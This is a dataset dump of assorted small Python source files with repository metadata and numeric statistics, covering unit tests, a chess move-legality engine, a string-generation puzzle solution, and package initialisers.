self.assertEqual(basic_operations.division(-1, 1), -1)
self.assertEqual(basic_operations.division(1, -1), -1)
self.assertEqual(basic_operations.division(-1, -1), 1)
# self.assertRaises Value expected, method, args
self.assertRaises(ValueError, basic_operations.division, 10, 0)
# Test Exception using context manager
with self.assertRaises(ValueError):
basic_operations.division(10, 0)
if __name__ == '__main__':
unittest.main()
| 38.146341
| 71
| 0.689258
| 191
| 1,564
| 5.465969
| 0.219895
| 0.272989
| 0.306513
| 0.45977
| 0.772989
| 0.601533
| 0.601533
| 0.601533
| 0.501916
| 0.501916
| 0
| 0.047133
| 0.186061
| 1,564
| 40
| 72
| 39.1
| 0.772977
| 0.053069
| 0
| 0
| 0
| 0
| 0.005413
| 0
| 0
| 0
| 0
| 0
| 0.642857
| 1
| 0.142857
| false
| 0
| 0.071429
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
873d9890d0ef50606e775f7ad4eeee0c477ef79a
| 34
|
py
|
Python
|
jupiter/domain/smart_lists/service/__init__.py
|
horia141/jupiter
|
2c721d1d44e1cd2607ad9936e54a20ea254741dc
|
[
"MIT"
] | 15
|
2019-05-05T14:34:58.000Z
|
2022-02-25T09:57:28.000Z
|
jupiter/domain/smart_lists/service/__init__.py
|
horia141/jupiter
|
2c721d1d44e1cd2607ad9936e54a20ea254741dc
|
[
"MIT"
] | 3
|
2020-02-22T16:09:39.000Z
|
2021-12-18T21:33:06.000Z
|
jupiter/domain/smart_lists/service/__init__.py
|
horia141/jupiter
|
2c721d1d44e1cd2607ad9936e54a20ea254741dc
|
[
"MIT"
] | null | null | null |
"""Smart list service classes."""
| 17
| 33
| 0.676471
| 4
| 34
| 5.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117647
| 34
| 1
| 34
| 34
| 0.766667
| 0.794118
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8778de8cd4065de45c068f5e28f5187cb16355c9
| 193
|
py
|
Python
|
coding_interviews/leetcode/easy/generate_the_string/generate_the_string.py
|
LeandroTk/Algorithms
|
569ed68eba3eeff902f8078992099c28ce4d7cd6
|
[
"MIT"
] | 205
|
2018-12-01T17:49:49.000Z
|
2021-12-22T07:02:27.000Z
|
coding_interviews/leetcode/easy/generate_the_string/generate_the_string.py
|
LeandroTk/Algorithms
|
569ed68eba3eeff902f8078992099c28ce4d7cd6
|
[
"MIT"
] | 2
|
2020-01-01T16:34:29.000Z
|
2020-04-26T19:11:13.000Z
|
coding_interviews/leetcode/easy/generate_the_string/generate_the_string.py
|
LeandroTk/Algorithms
|
569ed68eba3eeff902f8078992099c28ce4d7cd6
|
[
"MIT"
] | 50
|
2018-11-28T20:51:36.000Z
|
2021-11-29T04:08:25.000Z
|
# https://leetcode.com/problems/generate-a-string-with-characters-that-have-odd-counts
def generate_the_string(n):
if n % 2 == 0:
return 'a' * (n - 1) + 'b'
return 'a' * n
| 27.571429
| 86
| 0.601036
| 30
| 193
| 3.8
| 0.733333
| 0.122807
| 0.140351
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02
| 0.222798
| 193
| 7
| 87
| 27.571429
| 0.74
| 0.435233
| 0
| 0
| 1
| 0
| 0.027778
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0
| 0.75
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
5e44bf436c778e9277b68ef4c5a05817865a95cf
| 601
|
py
|
Python
|
neuralpp/inference/graphical_model/variable/variable.py
|
stefanwebb/neuralpp
|
598ac1ad636d11fc67a4244b52a2b08b990ffc86
|
[
"MIT"
] | null | null | null |
neuralpp/inference/graphical_model/variable/variable.py
|
stefanwebb/neuralpp
|
598ac1ad636d11fc67a4244b52a2b08b990ffc86
|
[
"MIT"
] | null | null | null |
neuralpp/inference/graphical_model/variable/variable.py
|
stefanwebb/neuralpp
|
598ac1ad636d11fc67a4244b52a2b08b990ffc86
|
[
"MIT"
] | null | null | null |
from typing import Any
import torch
class Variable:
def __eq__(self, other) -> bool:
self._not_implemented("__eq__")
def __hash__(self):
self._not_implemented("__hash__")
def __repr__(self) -> str:
self._not_implemented("__repr__")
def featurize(self, value) -> torch.Tensor:
self._not_implemented("featurize")
def is_multivalue(self, value: Any) -> bool:
self._not_implemented("is_multivalue")
def _not_implemented(self, name):
error = NotImplementedError(f"{name} not implemented for {type(self)}")
raise error
| 24.04
| 79
| 0.660566
| 70
| 601
| 5.128571
| 0.414286
| 0.272981
| 0.250696
| 0.122563
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.224626
| 601
| 24
| 80
| 25.041667
| 0.770386
| 0
| 0
| 0
| 0
| 0
| 0.138103
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.375
| false
| 0
| 0.125
| 0
| 0.5625
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
5e4759867d5518f967a7c86814eeaf2fb616ea16
| 548
|
py
|
Python
|
tests/file_handler/test_local.py
|
Gallaecio/spider-feeder
|
9372a9244b4cc582474883962b01f5e83779005e
|
[
"MIT"
] | null | null | null |
tests/file_handler/test_local.py
|
Gallaecio/spider-feeder
|
9372a9244b4cc582474883962b01f5e83779005e
|
[
"MIT"
] | null | null | null |
tests/file_handler/test_local.py
|
Gallaecio/spider-feeder
|
9372a9244b4cc582474883962b01f5e83779005e
|
[
"MIT"
] | null | null | null |
from spider_feeder.file_handler import local
def test_open_local_file(mocker):
mock = mocker.patch('spider_feeder.file_handler.local.builtins.open')
local.open('/tmp/input_urls.txt', encoding='utf-8')
mock.assert_called_once_with('/tmp/input_urls.txt', encoding='utf-8')
def test_open_local_file_with_scheme(mocker):
mock = mocker.patch('spider_feeder.file_handler.local.builtins.open')
local.open('file:///tmp/input_urls.txt', encoding='latin-1')
mock.assert_called_once_with('/tmp/input_urls.txt', encoding='latin-1')
| 39.142857
| 75
| 0.759124
| 84
| 548
| 4.666667
| 0.333333
| 0.091837
| 0.122449
| 0.153061
| 0.867347
| 0.765306
| 0.765306
| 0.596939
| 0.596939
| 0.596939
| 0
| 0.008032
| 0.091241
| 548
| 13
| 76
| 42.153846
| 0.779116
| 0
| 0
| 0.222222
| 0
| 0
| 0.363139
| 0.215328
| 0
| 0
| 0
| 0
| 0.222222
| 1
| 0.222222
| false
| 0
| 0.111111
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5e5a36ef2a03693ce4c2de8a9efa2fe8841eda2f
| 66
|
py
|
Python
|
test.py
|
Joshuawadd/rlcard
|
de2da05a9b32a39e0d8bbfc1cd589d88a6580c56
|
[
"MIT"
] | null | null | null |
test.py
|
Joshuawadd/rlcard
|
de2da05a9b32a39e0d8bbfc1cd589d88a6580c56
|
[
"MIT"
] | null | null | null |
test.py
|
Joshuawadd/rlcard
|
de2da05a9b32a39e0d8bbfc1cd589d88a6580c56
|
[
"MIT"
] | null | null | null |
import rlcard
rlcard.make('whist', config={'record_action': True})
| 33
| 52
| 0.757576
| 9
| 66
| 5.444444
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.060606
| 66
| 2
| 52
| 33
| 0.790323
| 0
| 0
| 0
| 0
| 0
| 0.268657
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
5e648c46deae58045c77e15aabfe8455c3ca7fc3
| 403
|
py
|
Python
|
generator_counter.py
|
volhadounar/Python_tricks
|
8307e1695c4a4a94ab4bd6770d932650406c4ddf
|
[
"BSD-3-Clause"
] | null | null | null |
generator_counter.py
|
volhadounar/Python_tricks
|
8307e1695c4a4a94ab4bd6770d932650406c4ddf
|
[
"BSD-3-Clause"
] | null | null | null |
generator_counter.py
|
volhadounar/Python_tricks
|
8307e1695c4a4a94ab4bd6770d932650406c4ddf
|
[
"BSD-3-Clause"
] | null | null | null |
def gen_counter(cnt=None):
res = 0
while True:
yield res
res += 1 if cnt is None else cnt
if __name__=='__main__':
cnt = gen_counter()
print(next(cnt))
print(next(cnt))
print(next(cnt))
print(next(cnt))
print(next(cnt))
cnt = gen_counter(5)
print(next(cnt))
print(next(cnt))
print(next(cnt))
print(next(cnt))
print(next(cnt))
| 17.521739
| 40
| 0.573201
| 59
| 403
| 3.728814
| 0.322034
| 0.409091
| 0.545455
| 0.618182
| 0.545455
| 0.545455
| 0.545455
| 0.545455
| 0.545455
| 0.545455
| 0
| 0.010345
| 0.280397
| 403
| 22
| 41
| 18.318182
| 0.748276
| 0
| 0
| 0.555556
| 0
| 0
| 0.019851
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.055556
| false
| 0
| 0
| 0
| 0.055556
| 0.555556
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
5e74c204557e66db10e4f9aacbe286c96a16b169
| 89
|
py
|
Python
|
src/ebonite/ext/sqlalchemy/__init__.py
|
koskotG/ebonite
|
9f9ae016b70fb24865d5edc99142afb8ab4ddc59
|
[
"Apache-2.0"
] | 270
|
2019-11-14T15:46:08.000Z
|
2021-09-17T16:43:03.000Z
|
src/ebonite/ext/sqlalchemy/__init__.py
|
geffy/ebonite
|
2d85eeca44ac1799e743bafe333887712e325060
|
[
"Apache-2.0"
] | 14
|
2019-11-29T11:49:39.000Z
|
2022-02-10T00:23:59.000Z
|
src/ebonite/ext/sqlalchemy/__init__.py
|
geffy/ebonite
|
2d85eeca44ac1799e743bafe333887712e325060
|
[
"Apache-2.0"
] | 18
|
2019-11-22T13:15:14.000Z
|
2021-09-01T13:36:12.000Z
|
from .repository import SQLAlchemyMetaRepository
__all__ = ['SQLAlchemyMetaRepository']
| 22.25
| 48
| 0.842697
| 6
| 89
| 11.833333
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.089888
| 89
| 3
| 49
| 29.666667
| 0.876543
| 0
| 0
| 0
| 0
| 0
| 0.269663
| 0.269663
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
5e9a0f4abc17fb2629811760023c0c3b6f89d0f3
| 138
|
py
|
Python
|
pypd/tests/testutils.py
|
andyr0id/PyPD
|
fdc743cb5babb418b7769d7299a21d1db7e1a99d
|
[
"BSD-3-Clause"
] | null | null | null |
pypd/tests/testutils.py
|
andyr0id/PyPD
|
fdc743cb5babb418b7769d7299a21d1db7e1a99d
|
[
"BSD-3-Clause"
] | null | null | null |
pypd/tests/testutils.py
|
andyr0id/PyPD
|
fdc743cb5babb418b7769d7299a21d1db7e1a99d
|
[
"BSD-3-Clause"
] | null | null | null |
import os
def getPatchesDir():
d = os.path.dirname(os.path.realpath(__file__))
return d[:d.index('pypd/pypd/')] + 'pypd/patches/'
| 27.6
| 54
| 0.666667
| 20
| 138
| 4.4
| 0.65
| 0.136364
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.137681
| 138
| 5
| 54
| 27.6
| 0.739496
| 0
| 0
| 0
| 0
| 0
| 0.165468
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
5eba56c94b797340db1c37605131f5ed69f50d84
| 49
|
py
|
Python
|
src/pushbroom/__init__.py
|
gpanders/Janitor
|
1931f8d8856116a0bf5c951a2c3a51250b293cd4
|
[
"MIT"
] | 4
|
2019-11-17T03:29:31.000Z
|
2021-11-01T20:27:07.000Z
|
src/pushbroom/__init__.py
|
gpanders/Janitor
|
1931f8d8856116a0bf5c951a2c3a51250b293cd4
|
[
"MIT"
] | null | null | null |
src/pushbroom/__init__.py
|
gpanders/Janitor
|
1931f8d8856116a0bf5c951a2c3a51250b293cd4
|
[
"MIT"
] | null | null | null |
__version__ = "v1.0.0"
from .sweep import sweep
| 12.25
| 24
| 0.714286
| 8
| 49
| 3.875
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.073171
| 0.163265
| 49
| 3
| 25
| 16.333333
| 0.682927
| 0
| 0
| 0
| 0
| 0
| 0.122449
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0d5a2e2a61d0c5a2fa42ed52311c9a745b69c345
| 13,635
|
py
|
Python
|
logic.py
|
qwlea/chess
|
06213ebbcd379e1968ebcfed41d38b9a00f9f3c8
|
[
"Apache-2.0"
] | null | null | null |
logic.py
|
qwlea/chess
|
06213ebbcd379e1968ebcfed41d38b9a00f9f3c8
|
[
"Apache-2.0"
] | null | null | null |
logic.py
|
qwlea/chess
|
06213ebbcd379e1968ebcfed41d38b9a00f9f3c8
|
[
"Apache-2.0"
] | null | null | null |
import pygame
# This class internally handles all of the board logic that's necessary to ensure legal moves are played
class Logic:
def __init__(self, bd):
self._board = bd
# This is a utility function that is used by the other functions of this class
def verify_legal(self, col, row, legal_moves):
if 7 >= col >= 0 and 7 >= row >= 0:
legal_moves.add((col, row))
# Returns the set of all board spaces a given piece can move to, disregarding potential discovered checks/pins and
# piece color.
def get_legal_piece(self, piece, opponent, depth):
legal_mvs = set()
tiles = self._board.get_tiles()
coords = piece.get_coords()
col = coords[0]
row = coords[1]
if piece.get_type() // 2 == 0: # Piece is a king
self.verify_legal(col + 1, row, legal_mvs)
self.verify_legal(col, row + 1, legal_mvs)
self.verify_legal(col + 1, row + 1, legal_mvs)
self.verify_legal(col + 1, row - 1, legal_mvs)
self.verify_legal(col - 1, row + 1, legal_mvs)
self.verify_legal(col - 1, row - 1, legal_mvs)
self.verify_legal(col - 1, row, legal_mvs)
self.verify_legal(col, row - 1, legal_mvs)
# This section is for castling purposes. Castling can only be performed when all of the spaces in between a
# king and a rook are not under attack by the opposing player and neither the king or rook has moved.
if depth == 0:
opp_mvs = self.get_legal_player(opponent)
if piece.get_n_move() and tiles[col + 3][row].get_piece() is not None and \
tiles[col + 3][row].get_piece().get_n_move():
can_castle = True
for i in range(col, col + 3):
if (i, row) in opp_mvs: can_castle = False
for i in range(col + 1, col + 3):
if tiles[i][row].get_piece() is not None: can_castle = False
if can_castle: legal_mvs.add((col + 2, row))
if piece.get_n_move() and tiles[col - 4][row].get_piece() is not None and \
tiles[col - 4][row].get_piece().get_n_move():
can_castle = True
for i in range(col - 3, col + 1):
if (i, row) in opp_mvs: can_castle = False
for i in range(col - 3, col):
if tiles[i][row].get_piece() is not None: can_castle = False
if can_castle: legal_mvs.add((col - 2, row))
elif piece.get_type() // 2 == 1: # Piece is a queen
tmp_col = col + 1
tmp_row = row + 1
while tmp_col <= 7 and tmp_row <= 7:
self.verify_legal(tmp_col, tmp_row, legal_mvs)
if tiles[tmp_col][tmp_row].get_piece() is not None: break
tmp_col += 1
tmp_row += 1
tmp_col = col - 1
tmp_row = row + 1
while tmp_col >= 0 and tmp_row <= 7:
self.verify_legal(tmp_col, tmp_row, legal_mvs)
if tiles[tmp_col][tmp_row].get_piece() is not None: break
tmp_col -= 1
tmp_row += 1
tmp_col = col + 1
tmp_row = row - 1
while tmp_col <= 7 and tmp_row >= 0:
self.verify_legal(tmp_col, tmp_row, legal_mvs)
if tiles[tmp_col][tmp_row].get_piece() is not None: break
tmp_col += 1
tmp_row -= 1
tmp_col = col - 1
tmp_row = row - 1
while tmp_col >= 0 and tmp_row >= 0:
self.verify_legal(tmp_col, tmp_row, legal_mvs)
if tiles[tmp_col][tmp_row].get_piece() is not None: break
tmp_col -= 1
tmp_row -= 1
tmp_col = col + 1
while tmp_col <= 7:
self.verify_legal(tmp_col, row, legal_mvs)
if tiles[tmp_col][row].get_piece() is not None: break
tmp_col += 1
tmp_col = col - 1
while tmp_col >= 0:
self.verify_legal(tmp_col, row, legal_mvs)
if tiles[tmp_col][row].get_piece() is not None: break
tmp_col -= 1
tmp_row = row + 1
while tmp_row <= 7:
self.verify_legal(col, tmp_row, legal_mvs)
if tiles[col][tmp_row].get_piece() is not None: break
tmp_row += 1
tmp_row = row - 1
while tmp_row >= 0:
self.verify_legal(col, tmp_row, legal_mvs)
if tiles[col][tmp_row].get_piece() is not None: break
tmp_row -= 1
elif piece.get_type() // 2 == 2: # Piece is a rook
tmp_col = col + 1
while tmp_col <= 7:
self.verify_legal(tmp_col, row, legal_mvs)
if tiles[tmp_col][row].get_piece() is not None: break
tmp_col += 1
tmp_col = col - 1
while tmp_col >= 0:
self.verify_legal(tmp_col, row, legal_mvs)
if tiles[tmp_col][row].get_piece() is not None: break
tmp_col -= 1
tmp_row = row + 1
while tmp_row <= 7:
self.verify_legal(col, tmp_row, legal_mvs)
if tiles[col][tmp_row].get_piece() is not None: break
tmp_row += 1
tmp_row = row - 1
while tmp_row >= 0:
self.verify_legal(col, tmp_row, legal_mvs)
if tiles[col][tmp_row].get_piece() is not None: break
tmp_row -= 1
elif piece.get_type() // 2 == 3: # Piece is a knight
self.verify_legal(col + 1, row + 2, legal_mvs)
self.verify_legal(col + 2, row + 1, legal_mvs)
self.verify_legal(col - 1, row + 2, legal_mvs)
self.verify_legal(col + 2, row - 1, legal_mvs)
self.verify_legal(col - 2, row + 1, legal_mvs)
self.verify_legal(col + 1, row - 2, legal_mvs)
self.verify_legal(col - 1, row - 2, legal_mvs)
self.verify_legal(col - 2, row - 1, legal_mvs)
elif piece.get_type() // 2 == 4: # Piece is a bishop
tmp_col = col + 1
tmp_row = row + 1
while tmp_col <= 7 and tmp_row <= 7:
self.verify_legal(tmp_col, tmp_row, legal_mvs)
if tiles[tmp_col][tmp_row].get_piece() is not None: break
tmp_col += 1
tmp_row += 1
tmp_col = col - 1
tmp_row = row + 1
while tmp_col >= 0 and tmp_row <= 7:
self.verify_legal(tmp_col, tmp_row, legal_mvs)
if tiles[tmp_col][tmp_row].get_piece() is not None: break
tmp_col -= 1
tmp_row += 1
tmp_col = col + 1
tmp_row = row - 1
while tmp_col <= 7 and tmp_row >= 0:
self.verify_legal(tmp_col, tmp_row, legal_mvs)
if tiles[tmp_col][tmp_row].get_piece() is not None: break
tmp_col += 1
tmp_row -= 1
tmp_col = col - 1
tmp_row = row - 1
while tmp_col >= 0 and tmp_row >= 0:
self.verify_legal(tmp_col, tmp_row, legal_mvs)
if tiles[tmp_col][tmp_row].get_piece() is not None: break
tmp_col -= 1
tmp_row -= 1
elif piece.get_type() // 2 == 5: # Piece is a pawn
if piece.get_type() % 2 == 0: # Piece is white
if piece.get_coords()[1] == 1 and tiles[col][row + 1].get_piece() is None and tiles[col][row + 2].get_piece() is None:
legal_mvs.add((col, row + 2))
if tiles[col][row + 1].get_piece() is None:
legal_mvs.add((col, row + 1))
if col + 1 <= 7 and row + 1 <= 7 and tiles[col + 1][row + 1].get_piece() is not None:
legal_mvs.add((col + 1, row + 1))
if col - 1 >= 0 and row + 1 <= 7 and tiles[col - 1][row + 1].get_piece() is not None:
legal_mvs.add((col - 1, row + 1))
# En passant
if col + 1 <= 7 and row + 1 <= 7 and tiles[col + 1][row].get_piece() is not None and\
tiles[col + 1][row].get_piece().get_type() % 2 != piece.get_type() % 2 and\
tiles[col + 1][row].get_piece().get_d_move():
legal_mvs.add((col + 1, row + 1))
if col - 1 >= 0 and row + 1 <= 7 and tiles[col - 1][row].get_piece() is not None and\
tiles[col - 1][row].get_piece().get_type() % 2 != piece.get_type() % 2 and\
tiles[col - 1][row].get_piece().get_d_move():
legal_mvs.add((col - 1, row + 1))
else: # Piece is black
if piece.get_coords()[1] == 6 and tiles[col][row - 1].get_piece() is None and tiles[col][row - 2].get_piece() is None:
legal_mvs.add((col, row - 2))
if tiles[col][row - 1].get_piece() is None:
legal_mvs.add((col, row - 1))
if col + 1 <= 7 and row - 1 >= 0 and tiles[col + 1][row - 1].get_piece() is not None:
legal_mvs.add((col + 1, row - 1))
if col - 1 >= 0 and row - 1 >= 0 and tiles[col - 1][row - 1].get_piece() is not None:
legal_mvs.add((col - 1, row - 1))
# En passant
if col + 1 <= 7 and row - 1 >= 0 and tiles[col + 1][row].get_piece() is not None and\
tiles[col + 1][row].get_piece().get_type() % 2 != piece.get_type() % 2 and\
tiles[col + 1][row].get_piece().get_d_move():
legal_mvs.add((col + 1, row - 1))
if col - 1 >= 0 and row - 1 >= 0 and tiles[col - 1][row].get_piece() is not None and\
tiles[col - 1][row].get_piece().get_type() % 2 != piece.get_type() % 2 and\
tiles[col - 1][row].get_piece().get_d_move():
legal_mvs.add((col - 1, row - 1))
return legal_mvs
# returns the set of all legal moves a player can make, still disregarding discovered checks/pins and piece color
def get_legal_player(self, player):
legal_mvs = set()
for piece in player.get_owned():
for coords in self.get_legal_piece(piece, None, 1):
legal_mvs.add(coords)
return legal_mvs
# Safely checks if a given move is legal by simulating the play on the board and then reverting all changes
def safe_check_legal(self, selected_piece, target_tile, player, opponent):
if target_tile.get_coords() not in self.get_legal_piece(selected_piece, opponent, 0): return False
if target_tile.get_piece() is not None and\
target_tile.get_piece().get_type() % 2 == selected_piece.get_type() % 2: return False
tmp_piece = target_tile.get_piece()
# This simulates a capture so that capturing a piece that has put the turn player's king in check is legal
if tmp_piece is not None:
opponent.get_owned().remove(tmp_piece)
tmp_tile = selected_piece.get_tile()
selected_piece.change_tiles(target_tile)
king_coords = player.get_king().get_coords()
if king_coords in self.get_legal_player(opponent):
selected_piece.change_tiles(tmp_tile)
target_tile.set_piece(tmp_piece)
if tmp_piece is not None:
opponent.get_owned().add(tmp_piece)
return False
selected_piece.change_tiles(tmp_tile)
target_tile.set_piece(tmp_piece)
if tmp_piece is not None:
opponent.get_owned().add(tmp_piece)
return True
# Gets the "true" legal spaces a piece can move to, the spaces that won't leave the player's king in check
def get_true_legal_piece(self, piece, player, opponent):
true_legal = set()
for coords in self.get_legal_piece(piece, opponent, 0):
if self.safe_check_legal(piece, self._board.get_tile(coords), player, opponent):
true_legal.add(coords)
return true_legal
# Gets the "true" legal spaces all of a player's pieces can move to that won't leave that player's king in check
def get_true_legal_player(self, player, opponent):
true_legal = set()
for piece in player.get_owned():
for coords in self.get_true_legal_piece(piece, player, opponent):
true_legal.add(coords)
return true_legal
# Checks all possible legal moves a player can make to verify whether the game is in stale/checkmate
# "NM" == No Mate, "SM" == Stalemate, "CM" == Checkmate
def safe_check_mate(self, player, opponent):
for piece in player.get_owned():
for tile_coords in self.get_legal_piece(piece, opponent, 0):
if self.safe_check_legal(piece, self._board.get_tile(tile_coords), player, opponent):
return "NM"
king_coords = player.get_king().get_coords()
if king_coords not in self.get_legal_player(opponent):
return "SM"
return "CM"
| 51.844106
| 135
| 0.527539
| 1,951
| 13,635
| 3.480779
| 0.076371
| 0.040053
| 0.051539
| 0.06597
| 0.777647
| 0.744809
| 0.715506
| 0.709763
| 0.690178
| 0.639376
| 0
| 0.026737
| 0.371837
| 13,635
| 262
| 136
| 52.041985
| 0.766141
| 0.09945
| 0
| 0.612069
| 0
| 0
| 0.0005
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.034483
| false
| 0
| 0.00431
| 0
| 0.081897
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0d89e7eca6d9f4fa52e872177aef363e8ae3e8ff
| 42
|
py
|
Python
|
test_apps/python_app/targets/dut/o1_dut0.py
|
Origen-SDK/o2
|
5b0f9a6d113ddebc73c7ee224931e8b2d0301794
|
[
"MIT"
] | null | null | null |
test_apps/python_app/targets/dut/o1_dut0.py
|
Origen-SDK/o2
|
5b0f9a6d113ddebc73c7ee224931e8b2d0301794
|
[
"MIT"
] | 127
|
2019-11-23T17:09:35.000Z
|
2021-09-02T11:06:20.000Z
|
test_apps/python_app/targets/dut/o1_dut0.py
|
Origen-SDK/o2
|
5b0f9a6d113ddebc73c7ee224931e8b2d0301794
|
[
"MIT"
] | null | null | null |
origen.app.instantiate_dut("dut.o1_dut0")
| 21
| 41
| 0.809524
| 7
| 42
| 4.571429
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.04878
| 0.02381
| 42
| 1
| 42
| 42
| 0.731707
| 0
| 0
| 0
| 0
| 0
| 0.261905
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0ddf56cf8e72a5bf5f38558a8ab7e64ef10459c1
| 239
|
py
|
Python
|
src/vendor/configrpc/plugin.py
|
radomirklacza/C-BAS
|
5005cf43f57302dc0f58b9d1b9cf7e4e3ab70e32
|
[
"BSD-3-Clause"
] | null | null | null |
src/vendor/configrpc/plugin.py
|
radomirklacza/C-BAS
|
5005cf43f57302dc0f58b9d1b9cf7e4e3ab70e32
|
[
"BSD-3-Clause"
] | null | null | null |
src/vendor/configrpc/plugin.py
|
radomirklacza/C-BAS
|
5005cf43f57302dc0f58b9d1b9cf7e4e3ab70e32
|
[
"BSD-3-Clause"
] | 2
|
2017-08-07T15:24:05.000Z
|
2018-10-11T10:53:23.000Z
|
import eisoil.core.pluginmanager as pm
from crpc.configrpc import ConfigRPC
def setup():
# setup config keys
xmlrpc = pm.getService('xmlrpc')
xmlrpc.registerXMLRPC('configrpc', ConfigRPC(), '/amconfig') # handlerObj, endpoint
| 29.875
| 87
| 0.736402
| 27
| 239
| 6.518519
| 0.703704
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.150628
| 239
| 8
| 87
| 29.875
| 0.866995
| 0.158996
| 0
| 0
| 0
| 0
| 0.120603
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
216d0a489cd9d3cd4e55e013d2c676784c470662
| 102
|
py
|
Python
|
